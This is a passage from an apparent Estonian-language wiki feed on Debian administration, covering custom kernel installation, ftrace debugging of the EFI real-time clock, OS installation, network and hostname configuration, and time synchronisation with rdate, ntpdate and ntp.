-rw-r--r--  1 imre imre 109643260 Oct  2 00:07 /home/imre/20251001/linux-image-6.12.48_6.12.48-2_amd64.deb&lt;br /&gt;
-rw-r--r--  1 imre imre 999103852 Oct  2 00:08 /home/imre/20251001/linux-image-6.12.48-dbg_6.12.48-2_amd64.deb&lt;br /&gt;
-rw-r--r--  1 imre imre   1395812 Oct  2 00:06 /home/imre/20251001/linux-libc-dev_6.12.48-2_amd64.deb&lt;br /&gt;
-rw-rw-r--  1 imre imre      6109 Oct  2 00:09 /home/imre/20251001/linux-upstream_6.12.48-2_amd64.buildinfo&lt;br /&gt;
-rw-rw-r--  1 imre imre      2260 Oct  2 00:09 /home/imre/20251001/linux-upstream_6.12.48-2_amd64.changes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Paigaldamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@kernel-deb-13-01:~# dpkg -i /home/imre/20251001/linux-image-6.12.48_6.12.48-2_amd64.deb&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:~# find /lib/modules/6.12.48 -name rtc-efi\* -ls&lt;br /&gt;
   559702      8 -rw-r--r--   1 root     root         4708 Oct  2 00:05 /lib/modules/6.12.48/kernel/drivers/rtc/rtc-efi.ko.xz&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutamine, nt grub bootloaderisse sekkumisel näidata&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
linux /boot/vmlinuz-6.12.48 root=/dev/mapper/system-root ro efi=runtime modprobe.blacklist=rtc_cmos&lt;br /&gt;
initrd /boot/initrd.img-6.12.48&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@kernel-deb-13-01:~# uname -a&lt;br /&gt;
Linux kernel-deb-13-01 6.12.48 #2 SMP PREEMPT_DYNAMIC Thu Oct  2 00:05:59 EEST 2025 x86_64 GNU/Linux&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:~# dmesg -T | grep rtc&lt;br /&gt;
[Thu Oct  2 00:11:10 2025] Command line: BOOT_IMAGE=/boot/vmlinuz-6.12.48 root=/dev/mapper/system-root ro efi=runtime modprobe.blacklist=rtc_cmos&lt;br /&gt;
[Thu Oct  2 00:11:10 2025] Kernel command line: BOOT_IMAGE=/boot/vmlinuz-6.12.48 root=/dev/mapper/system-root ro efi=runtime modprobe.blacklist=rtc_cmos&lt;br /&gt;
[Thu Oct  2 00:11:11 2025] rtc-efi rtc-efi.0: registered as rtc0&lt;br /&gt;
[Thu Oct  2 00:11:11 2025] rtc-efi rtc-efi.0: setting system clock to 2025-10-01T21:11:09 UTC (1759353069)&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:~# hwclock --show&lt;br /&gt;
2025-10-02 01:35:16.360299+03:00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* 'Building a custom kernel from Debian kernel source' - https://kernel-team.pages.debian.net/kernel-handbook/ch-common-tasks.html#s-common-building&lt;br /&gt;
&lt;br /&gt;
===Kerneli siseste funktsioonide debugimine===&lt;br /&gt;
&lt;br /&gt;
Sedasi saab veenduda, et hwclock kasutab peale eelmises punktis tehtud muudatuse 'efi runtime services' osakonda (mitte klassikalist rfc_cmos osakonda)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# cat /sys/kernel/tracing/available_filter_functions | grep efi_ | grep time&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# cd /sys/kernel/tracing&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo &amp;gt; trace&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo nop &amp;gt; current_tracer&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo &amp;gt; set_ftrace_filter&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo efi_read_time &amp;gt; set_ftrace_filter&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo function &amp;gt; current_tracer&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo 1 &amp;gt; tracing_on&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# hwclock --show &amp;amp; echo &amp;quot;before $! after&amp;quot;&lt;br /&gt;
[1] 1525&lt;br /&gt;
before 1525 after&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# 2025-10-02 03:05:13.888490+03:00&lt;br /&gt;
&lt;br /&gt;
[1]+  Done                    hwclock --show&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo 0 &amp;gt; tracing_on&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# cat trace | head -n 15&lt;br /&gt;
# tracer: function&lt;br /&gt;
#&lt;br /&gt;
# entries-in-buffer/entries-written: 1458/1458   #P:32&lt;br /&gt;
#&lt;br /&gt;
#                                _-----=&amp;gt; irqs-off/BH-disabled&lt;br /&gt;
#                               / _----=&amp;gt; need-resched&lt;br /&gt;
#                              | / _---=&amp;gt; hardirq/softirq&lt;br /&gt;
#                              || / _--=&amp;gt; preempt-depth&lt;br /&gt;
#                              ||| / _-=&amp;gt; migrate-disable&lt;br /&gt;
#                              |||| /     delay&lt;br /&gt;
#           TASK-PID     CPU#  |||||  TIMESTAMP  FUNCTION&lt;br /&gt;
#              | |         |   |||||     |         |&lt;br /&gt;
         hwclock-1525    [003] ..... 10443.012235: efi_read_time &amp;lt;-__rtc_read_time&lt;br /&gt;
         hwclock-1525    [003] ..... 10443.012346: efi_read_time &amp;lt;-__rtc_read_time&lt;br /&gt;
         hwclock-1525    [003] ..... 10443.012425: efi_read_time &amp;lt;-__rtc_read_time&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* hwclock käsk antakse ja küsitakse tema pid väärtust&lt;br /&gt;
* trace failis on fikseeritud pid mis oli seotud efi_read_time funktsiooni väljakutsumisega&lt;br /&gt;
&lt;br /&gt;
===netconsole===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:Operatsioonisüsteemi Debian GNU/Linux paketihalduse kasutamine]]&lt;br /&gt;
* http://www.debian.org/security/&lt;br /&gt;
* http://www.debian-administration.org/&lt;br /&gt;
* http://wiki.debian.org/&lt;br /&gt;
* http://www.debian.org/distrib/packages&lt;br /&gt;
* http://debian.org/doc/maint-guide&lt;br /&gt;
* http://www.debianadmin.com/&lt;br /&gt;
* http://debian.catsanddogs.com/&lt;br /&gt;
* http://debconf9.debconf.org/ - sisaldab videosalvestusi Debiani arendajate esinemistest DebConfidel&lt;br /&gt;
* http://cdimage.debian.org/cdimage/unofficial/non-free/firmware/lenny/current/&lt;br /&gt;
* http://debian-live.alioth.debian.org/&lt;br /&gt;
* http://www.emdebian.org/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_kasutamine&amp;diff=3429</id>
		<title>Operatsioonisüsteemi Debian GNU/Linux kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_kasutamine&amp;diff=3429"/>
		<updated>2026-05-03T22:44:53Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Capabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Debian GNU/Linux===&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux ehk lühidalt Debian on vaba operatsioonisüsteem, mis kasutab Linux või FreeBSD tuuma ning töötab paljudel populaarsetel riistvaralistel platvormidel, sealhulgas 32 bit ja 64 bit x86 arvutid.&lt;br /&gt;
&lt;br /&gt;
Debiani sobib kasutada nii serveritel kui ka töökohaarvutitel sh süleritel. Debianile on iseloomulik&lt;br /&gt;
&lt;br /&gt;
* korrektselt ilmuvad turvaparandused (teated ilmuvad ka bugtraqis)&lt;br /&gt;
* eeskujulik paketihaldus, sh automaatne pakettide autentsuse valideerimine kontrollsummade abil (MD5sum, SHA1, SHA256)&lt;br /&gt;
* rahulik stabiilsete versioonide ilmumise tsükkel, erinevalt närvilisest ja suhteliselt pikk tugi eelmisele stabiisele versioonile&lt;br /&gt;
* väärikas kasutajaskond (ingl. k. community)&lt;br /&gt;
* tarkvara jagatakse kompileeritud ja lähtetekstipakettide kujul&lt;br /&gt;
&lt;br /&gt;
Debiani kodulehe http://www.debian.org/ tiitel ütleb, et tegemist on universaalse operatsioonisüsteemiga, mille tunnistuseks on ehk tõepoolest asjaolu, et Debiani on kasutatud mitmete teiste nn Linuxi distributsioonide aluseks.&lt;br /&gt;
&lt;br /&gt;
Debian on loodud Ian Murdock'i poolt aastal 1993, kusjuures operatsioonisüsteemi nimi on tuletatud autori ja tema abikaasa Debra eesnimedest.&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi paigaldamise ettevalmistamine===&lt;br /&gt;
&lt;br /&gt;
Debiani kasutamiseks on vajalik sobiv riistvara, näiteks tõenäoliselt praktiliselt suvaline 32 bit või 64 bit x86 arvuti sobib, alatest 486 PC mudelitest kuni HP DL 585 G5 ja IBM x3250 taoliste serveriteni. Riistvara sobivuse määrab põhiliselt operatsioonisüsteemi tuum, 2013 aastal on stabiilsel Debiani versioonil 7.0 selleks Linux tuuma versioon 3.2.0.&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleks enne operatsioonisüsteemi paigaldamist otsutada, mida arvutiga teha soovitakse, sh võiks kujutada ette milline saab olema&lt;br /&gt;
&lt;br /&gt;
* arvuti nimi ja ip aadress&lt;br /&gt;
* kõvaketaste kasutus&lt;br /&gt;
* kas arvutit kasutatakse serveri või töökohana&lt;br /&gt;
* kuhu arvuti füüsiliselt paigutatakse&lt;br /&gt;
* kes vastutab arvuti haldamise eest (tarkvara uuendamine, süsteemi monitoorimine ja varundus/taaste)&lt;br /&gt;
&lt;br /&gt;
Üks otsekohene moodus operatsioonisüsteemi paigladmiseks on kasutada Debiani peeglites (ingl. k. mirror) jagatavat CD tõmmisest valmistatud bootivat CD plaati, kuna kõige populaarsem platvorm on x86, siis märgime, et&lt;br /&gt;
&lt;br /&gt;
* 64 bit AMD ja Inteli arvutitel kasutamiseks sobib Debiani amd64 arhitektuur&lt;br /&gt;
* 32 bit AMD ja Inteli arvutitel kasutamiseks sobib Debaini i386 arhitektuur&lt;br /&gt;
&lt;br /&gt;
Kuivõrd reeglina AMD ja Inteli 64 bit arvutid on 32 bit-ühilduvad, siis kasutades 32 bit operatsioonisüsteemi tarkvara 64 bit riistvaral käitub arvuti nagu 32 bitine arvuti. Kuigi eelpool on mainitud nimeliselt AMD ja Intelit kehtib öeldu ka teiste tootjate x86 platvormide kohta. Järgnevas on näited toodud konkreetsuse huvides 64 bit keskkonna kohta, kuid põhimõtteliselt toimub tegevus samamoodi ka 32 bit keskkonnas toimetades. Lisaks saab valida mitmete nö eriotstarbeliste tuumade hulgast, nt i386 non-pae, tuuma nimes kasutatakse '486' sel juhul.&lt;br /&gt;
&lt;br /&gt;
Niisiis, kui kasutada on 64 bit x86 riistvara tuleks kopeerida esimene amd64 arhitektuuri CD tõmmis, näiteks aadressilt http://cdimage.debian.org/debian-cd/7.0.0/amd64/iso-cd/debian-7.0.0-amd64-CD-1.iso ning kirjutada CD plaadile. Plaadi kirjutamisel peab jälgima, et tõmmist ei kirjutata plaadile mitte nagu suurt faili, vaid kirjutatakse tõmmisena, vastasel korral arvuti ei boodi sellelt plaadilt. Debian v. 7.0 on rangelt eristatud vabad ja suletud koodiga draiverid, kõige nähtavamalt mõjutab see tõenäoliselt operatsioonisüsteemi paigaldamise protseduur kui on tegemist vastava riistvaraga, http://www.debian.org/releases/stable/amd64/ch06s04.html.en.&lt;br /&gt;
&lt;br /&gt;
USB pulgalt paigaldades tundub, et uuemal ajal on .iso tõmmised nii ettevalmistatud (isohybrid techniques), et need saab lihtsalt dd programmiga kopeerida pulgale ja töötab, https://wiki.debian.org/BootUsb&lt;br /&gt;
&lt;br /&gt;
 # dd if=/tmp/debian-7.0.0-amd64-CD-1.iso of=/dev/sdc bs=4M&lt;br /&gt;
&lt;br /&gt;
Kui Debian paigaldatakse arvutile, kus juba on operatsioonisüsteem installeritud, nt Win7, siis tõenäoliselt õnnestub installeriga töötamise ajal Win7 failisüsteemide ja partitsioonide suurusi kahandada, tehes nii ruumi Debiani jaoks. Selleks tuleb kõvaketta seadistamise menüüvalikus öelda 'Manual' ja sealt edasi. Kirjanduse põhjal saab öelda, et vastvaid NTFS failisüsteeme ei ole tarvis eelnevalt defragmenteerida.&lt;br /&gt;
&lt;br /&gt;
Windows operatsioonisüsteemi all sobib USB pulk tekitada UUI (Universal USB Installer) programmiga, mille kasutamise juhised leiab aadressilt http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/.&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Tuleb arvestada, et operatsioonisüsteemi paigaldamisel hävivad eelnevalt kõvaketastel olnud andmed. Peale paigaldusmeedialt arvuti käivitamist käivitatakse automaatselt operatsioonisüsteemi installer, mis näeb tekstrežiimis välja selline (alternatiivina esineb installeri kasutajaliides ka graafilises vormis)&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Debian-installer-v7.gif]]&lt;br /&gt;
&lt;br /&gt;
Installeri kasutamine on intuatiivne, paigaldamise tulemusena tekib iseseisvalt bootiv arvuti. Paigaldamise käigus sooritatakse järgmised otsustused ja tegevused&lt;br /&gt;
&lt;br /&gt;
* kõvaketakste kasutamine&lt;br /&gt;
* võrguseadistused&lt;br /&gt;
* tarkvarakomplekti valik (standard, töökoht, server)&lt;br /&gt;
* juurkasutaja parool&lt;br /&gt;
* paigaldatakse alglaadur (ingl. k. bootloader) GRUB&lt;br /&gt;
&lt;br /&gt;
Peale paigaldamist saab arvutisse konsoolilt sisse logida ja teatatakse midagi sellist&lt;br /&gt;
&lt;br /&gt;
  Linux loomaaed 2.6.26-2-xen-686 #1 SMP Wed May 16 23:50:09 UTC 2009 i686&lt;br /&gt;
  &lt;br /&gt;
  The programs included with the Debian GNU/Linux system are free software;&lt;br /&gt;
  the exact distribution terms for each program are described in the&lt;br /&gt;
  individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
  &lt;br /&gt;
  Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
  permitted by applicable law.&lt;br /&gt;
  Last login: Sun Mar 29 23:06:53 2009 from aix.auul&lt;br /&gt;
  mart@loomaaed:~$&lt;br /&gt;
&lt;br /&gt;
Oluline on tähale panna, et muu hulgas räägib Debian oma kasutustingimustest&lt;br /&gt;
&lt;br /&gt;
* Debian GNU/Linux süsteemis sisalduv tarkvara on vaba tarkvara&lt;br /&gt;
* Debian GNU/Linux süsteemil kasutamisega ei kaasne garantiid&lt;br /&gt;
&lt;br /&gt;
Paigaldamise lõpus küsitakse, kas on soov osaleda nn populaarsus-võistluses, kord nädalas hakkab arvuti saatma paigaldatud pakettide nimekirja arendajatele, tulemused avaldadakse aadressil http://popcon.debian.org/.&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi paigaldamine üle serial konsooli===&lt;br /&gt;
&lt;br /&gt;
Serial konsooli eksitab splash, sellest saab lahti vajutades Esc. Seejärel tuleb sisestada&lt;br /&gt;
&lt;br /&gt;
 boot: install console=ttyS0,9600&lt;br /&gt;
&lt;br /&gt;
===Community===&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux osas suhtlemiseks või niisama tutvumiseks saab kasutada selliseid ressursse&lt;br /&gt;
&lt;br /&gt;
* Veebikoht - http://www.debian.org/&lt;br /&gt;
* Wiki - http://wiki.debian.org/&lt;br /&gt;
* Postiloendid asuvad aadressil http://lists.debian.org/&lt;br /&gt;
* Uudised - http://www.debian.org/News/project/&lt;br /&gt;
* Turvaparandusi puudutavad teadaanded - http://www.debian.org/security/&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi varundamine ja taaste===&lt;br /&gt;
&lt;br /&gt;
Operatsioonisüsteemi varundamiseks sobib kasutada programmi rsync kopeerides kogu failisüsteemi va kataloogid&lt;br /&gt;
&lt;br /&gt;
* /tmp&lt;br /&gt;
* /proc&lt;br /&gt;
* /sys&lt;br /&gt;
&lt;br /&gt;
teisele arvutile.&lt;br /&gt;
&lt;br /&gt;
Süsteemi taastamiseks tuleb arvuti bootida nt RIP-Linuxi CD plaadilt, seadistada võrk, kopeerida varundatud süsteem ja paigaldada bootloader.&lt;br /&gt;
&lt;br /&gt;
===IP aadress===&lt;br /&gt;
&lt;br /&gt;
Staatilise IP aadressi saab Debianile seadistada failist&lt;br /&gt;
&lt;br /&gt;
 /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Tüüpiliselt võiks see välja näna järgnev&lt;br /&gt;
&lt;br /&gt;
 # The loopback interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 &lt;br /&gt;
 # The first network card - this entry was created during the Debian installation&lt;br /&gt;
 # (network, broadcast and gateway are optional)&lt;br /&gt;
 auto eth0&lt;br /&gt;
 &lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
        address 192.168.1.10&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        network 192.168.1.0&lt;br /&gt;
        broadcast 192.168.1.255&lt;br /&gt;
        gateway 192.168.1.1&lt;br /&gt;
&lt;br /&gt;
===Arvuti nimi ja resolver===&lt;br /&gt;
&lt;br /&gt;
Arvutil peab oleme korrektselt seadistatud nimi ning nimesüsteemi kasutamine. Arvuti nimi on kirjas failis /etc/hostname, näiteks&lt;br /&gt;
&lt;br /&gt;
  bassein&lt;br /&gt;
&lt;br /&gt;
ning failis /etc/hosts on kirjas nö staatiline nimelahendus, mis töötab päri-ja pöördteisenduse jaoks, lihtsal juhul on seal sellised read (kusjuures esimest rida tuleb kasutada sõna-sõnalt)&lt;br /&gt;
&lt;br /&gt;
  127.0.0.1 localhost.localdomain localhost&lt;br /&gt;
  192.168.1.20 bassein.loomaaed.tartu.ee bassein&lt;br /&gt;
&lt;br /&gt;
Peale nende failide sisu muutmist tuleb muudatuste kehtestamiseks öelda&lt;br /&gt;
&lt;br /&gt;
   bash# hostname bassein&lt;br /&gt;
&lt;br /&gt;
Õnnestunud muudatuse kinnituseks ütleb arvuti nii&lt;br /&gt;
&lt;br /&gt;
  bash# hostname&lt;br /&gt;
  bassein&lt;br /&gt;
  bash# hostname -f&lt;br /&gt;
  bassein.loomaaed.tartu.ee&lt;br /&gt;
&lt;br /&gt;
Selleks, et arvuti lahendaks muid nimesid, peab olema kirjas nimeserveri aadress failis /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  nameserver 192.168.1.254&lt;br /&gt;
&lt;br /&gt;
Kusjuures, kui failis /etc/resolv.conf kasutada mitut sellist rida erinevate nimeserverite aadressidega, siis proovitakse igal nimelahendusel neid järjest läbi kuni jõutakse esimese töötavani. Vaikimisi oodatakse vastust 5 sekundit. Täiendavat infot saab resolveri manuaalist öeldes&lt;br /&gt;
&lt;br /&gt;
  # man resolver&lt;br /&gt;
&lt;br /&gt;
Tihtipeale kasutatakse keskkonnamuutujat PS1 prompti kujundamiseks ja mille väärtuse moodustamisel kasutatakse omakorda käsku hostname. Seetõttu muutub promptis oleva arvuti nime väärtus peale välja ja uuesti sisselogimist.&lt;br /&gt;
&lt;br /&gt;
====resolvconf====&lt;br /&gt;
&lt;br /&gt;
Lenny sisaldab lisaks nö staatilisele resolverile dünaamilist resolvconf tarkvara, asjakohane allikas on aadressil http://wiki.debian.org/NetworkConfiguration&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install resolvconf&lt;br /&gt;
&lt;br /&gt;
Osa olulisi faile asub kataloogis&lt;br /&gt;
&lt;br /&gt;
  /etc/resolvconf&lt;br /&gt;
&lt;br /&gt;
resolvconf oskab /etc/network/interfaces failist kasutada dns-nameservers parameetrit, nt selliselt&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 192.168.10.199&lt;br /&gt;
   gateway 192.168.10.254&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
   broadcast 192.168.10.255&lt;br /&gt;
   dns-nameservers 192.168.10.254&lt;br /&gt;
&lt;br /&gt;
===Kellaaeg===&lt;br /&gt;
&lt;br /&gt;
Arvuti kellaaeg on korrektselt juhul kohalik aeg. See sõltub ajavööndi seadistusest, mis võiks Eestis olla&lt;br /&gt;
&lt;br /&gt;
  # ls -l /etc/localtime&lt;br /&gt;
  lrwxrwxrwx 1 root root 34 Jul 15 21:40 /etc/localtime -&amp;gt; /usr/share/zoneinfo/Europe/Tallinn&lt;br /&gt;
&lt;br /&gt;
Vajadusel tuleks eemaldada /etc/locatime ja öelda&lt;br /&gt;
&lt;br /&gt;
  # ln -s /usr/share/zoneinfo/Europe/Tallinn /etc/localtime&lt;br /&gt;
&lt;br /&gt;
Seadistamiseks sobib kusjuures kasutada pigem ehk utiliiti dpkg-reconfigure öeldes&lt;br /&gt;
&lt;br /&gt;
  # dpkg-reconfigure tzdata&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine programmiga date====&lt;br /&gt;
&lt;br /&gt;
Töötava süsteemi käest saab küsida aega öeldes&lt;br /&gt;
&lt;br /&gt;
 $ date&lt;br /&gt;
 Sat Jan  8 14:07:25 EET 2011&lt;br /&gt;
&lt;br /&gt;
Lisaks saab küsida nt nö kaks nädalat tagasi, sellest on vahel kasu nt varundamisega seotud skriptides&lt;br /&gt;
&lt;br /&gt;
 $ date -d &amp;quot;2 weeks ago&amp;quot;&lt;br /&gt;
 Sat Dec 25 14:07:25 EET 2010&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine programmiga rdate====&lt;br /&gt;
&lt;br /&gt;
Openrdate http://sourceforge.net/apps/mediawiki/openrdate on OpenBSD projekti rdate tarkvara port Linuxile. Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install rdate&lt;br /&gt;
&lt;br /&gt;
Kellaja ühekordne seadmine toimub öeldes&lt;br /&gt;
&lt;br /&gt;
  # rdate ajaserver.loomaaed.tartu.ee&lt;br /&gt;
&lt;br /&gt;
rdate võimaldab suhelda kahte tüüpi ajaserveritega&lt;br /&gt;
&lt;br /&gt;
* http://tools.ietf.org/html/rfc868 server - tavaliselt töötab inetd abil ja teenindab portidel 37/tcp või 37/udp&lt;br /&gt;
* http://tools.ietf.org/html/rfc2030 - tavaliselt töötab pordil 123/udp&lt;br /&gt;
&lt;br /&gt;
rdate võtmetega saab juhtida, millist režiimi klient parasjagu kasutab, nt&lt;br /&gt;
&lt;br /&gt;
 $  rdate -4 -p -n ntp.ut.ee&lt;br /&gt;
 Sat Jan  8 14:09:44 EET 2011&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -4 - IPv4 protokoll&lt;br /&gt;
* -p - ainult küsida aega ja mitte seadistada&lt;br /&gt;
* -n kasutada rfc2030 ajaserverit&lt;br /&gt;
&lt;br /&gt;
Vaikimisi pöördub rdate ajaserveri poole kasutades rfc686 protokolli ja 37/tcp porti.&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine programmiga ntpdate====&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install ntpdate&lt;br /&gt;
&lt;br /&gt;
ntpdate sobib kellaaja küsimiseks rfc2060 protokolli toetavalt serverilt (kasutades 123/udp porti) ning kohaliku süsteemi kellaaja seadmiseks. Ainult kellaaja küsimiseks sobib kasutada võtit -q&lt;br /&gt;
&lt;br /&gt;
 $ ntpdate -p 2 -q ntp.ut.ee ntp.aso.ee&lt;br /&gt;
 server 2001:bb8:2002:500:211:25ff:fe8f:7d64, stratum 2, offset 0.011371, delay 0.10133&lt;br /&gt;
 server 193.40.5.113, stratum 2, offset 0.000782, delay 0.03786&lt;br /&gt;
 server 195.80.105.226, stratum 1, offset 0.000217, delay 0.03523&lt;br /&gt;
  8 Jan 15:35:55 ntpdate[20870]: adjust time server 195.80.105.226 offset 0.000217 sec&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -p 2 - igalt toodud ajaserverilt küsitakse aega kaks korda&lt;br /&gt;
* -q - aega ainult küsitakse ja ei seadistata&lt;br /&gt;
* vastust küsitakse kolmelt ajaserverilt kuna ntp.ut.ee nimel on A ja AAAA kirjed&lt;br /&gt;
&lt;br /&gt;
Algupärane ntpdate programm ise ei kasuta ühtegi seadistusfaili, kuid Debian keskkonnas on lisaks programm ntpdate-debian, mida juhib seadistusfail /etc/default/ntpdate mille abil saab juhtida, milliseid ajaservereid kasutatakse. Vaikimisi on seadistatud rida&lt;br /&gt;
&lt;br /&gt;
 NTPDATE_USE_NTP_CONF=yes&lt;br /&gt;
&lt;br /&gt;
mis tähendab, et kasutatakse ajaservereid ntp paketi tarkvara seadistusfailist /etc/ntp.conf. Kui ntpd programm töötab, siis ntpdate keeldub aega seadmast.&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine tarkvaraga ntp====&lt;br /&gt;
&lt;br /&gt;
Kellaaja sünkronisseerimiseks sobib kasutada paketti ntp&lt;br /&gt;
&lt;br /&gt;
  # apt-get install ntp&lt;br /&gt;
&lt;br /&gt;
NTP tarkvara juhivad kaks seadistusfaili&lt;br /&gt;
&lt;br /&gt;
* /etc/default/ntp - milles sisaldub vaikimisi rida ja mis tähendab, et ntpd programmi käivitamisel seadistatakse kellaaeg nö kiiresti&lt;br /&gt;
&lt;br /&gt;
 NTPD_OPTS='-g'&lt;br /&gt;
&lt;br /&gt;
* /etc/ntp.conf - seadistusfail, kus näidatakse ajaserverid jms parameetrid&lt;br /&gt;
&lt;br /&gt;
Seadistusfailist /etc/ntp.conf tuleb leida read&lt;br /&gt;
&lt;br /&gt;
  server 0.debian.pool.ntp.org&lt;br /&gt;
  server 1.debian.pool.ntp.org&lt;br /&gt;
  server 2.debian.pool.ntp.org&lt;br /&gt;
  server 3.debian.pool.ntp.org&lt;br /&gt;
&lt;br /&gt;
ning soovi korral asendada need oma teenese pakkuja nime kasutava ühe reaga, nt&lt;br /&gt;
&lt;br /&gt;
  server ajaserver.loomaaed.tartu.ee&lt;br /&gt;
&lt;br /&gt;
Kulub mõni aega, nt 10 minutit kuni ntp töötamine stabiliseerub, sellest annab tunnistust, et ntptrace vastab kus arvuti asub ntp hierarhias, nt midagi sellist&lt;br /&gt;
&lt;br /&gt;
  # ntptrace -n&lt;br /&gt;
  127.0.0.1: stratum 3, offset -0.001927, synch distance 0.038145&lt;br /&gt;
  192.168.30.8: stratum 2, offset -0.000066, synch distance 0.020106&lt;br /&gt;
  192.168.30.15: stratum 1, offset 0.000010, synch distance 0.002270, refid 'GPS'&lt;br /&gt;
&lt;br /&gt;
võib ka küsida sarnaselt (see väljund ei ole eelmisega näitega kooskõlas)&lt;br /&gt;
&lt;br /&gt;
 # ntpq -np&lt;br /&gt;
      remote           refid      st t when poll reach   delay   offset  jitter&lt;br /&gt;
 ==============================================================================&lt;br /&gt;
  10.192.0.53     193.40.5.113     3 u   47   64   37    0.646  -22.260  73.828&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine tarkvaraga openntpd====&lt;br /&gt;
&lt;br /&gt;
ntp tarkvarale on populaarne alternatiiv openntpd, üks praktiline erinevus on nt selles, et ntp sisaldab ntptrace utiliiti. OpenNTPD ei sisaldu Debian Squeeze paketihalduses.&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
Selleks, et Xen domU kellaaega mõjutaks domU sees töötav ntp server tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  bash# sysctl -w xen.independent_wallclock=1&lt;br /&gt;
&lt;br /&gt;
või lisada faili /etc/sysctl.conf rida&lt;br /&gt;
&lt;br /&gt;
  xen.independent_wallclock=1&lt;br /&gt;
&lt;br /&gt;
Leap sekundite käsitlemine toimub tavaliselt kahel võimalikul viisil&lt;br /&gt;
&lt;br /&gt;
* lisatakse äkki sekund ära&lt;br /&gt;
&lt;br /&gt;
 # dmesg&lt;br /&gt;
 ..&lt;br /&gt;
 [14255112.244045] Clock: inserting leap second 23:59:60 UTC&lt;br /&gt;
&lt;br /&gt;
* määritakse sekundi lisandumine pikema perioodi peale&lt;br /&gt;
&lt;br /&gt;
===Võrgu seadistamine seadistusfailidega===&lt;br /&gt;
&lt;br /&gt;
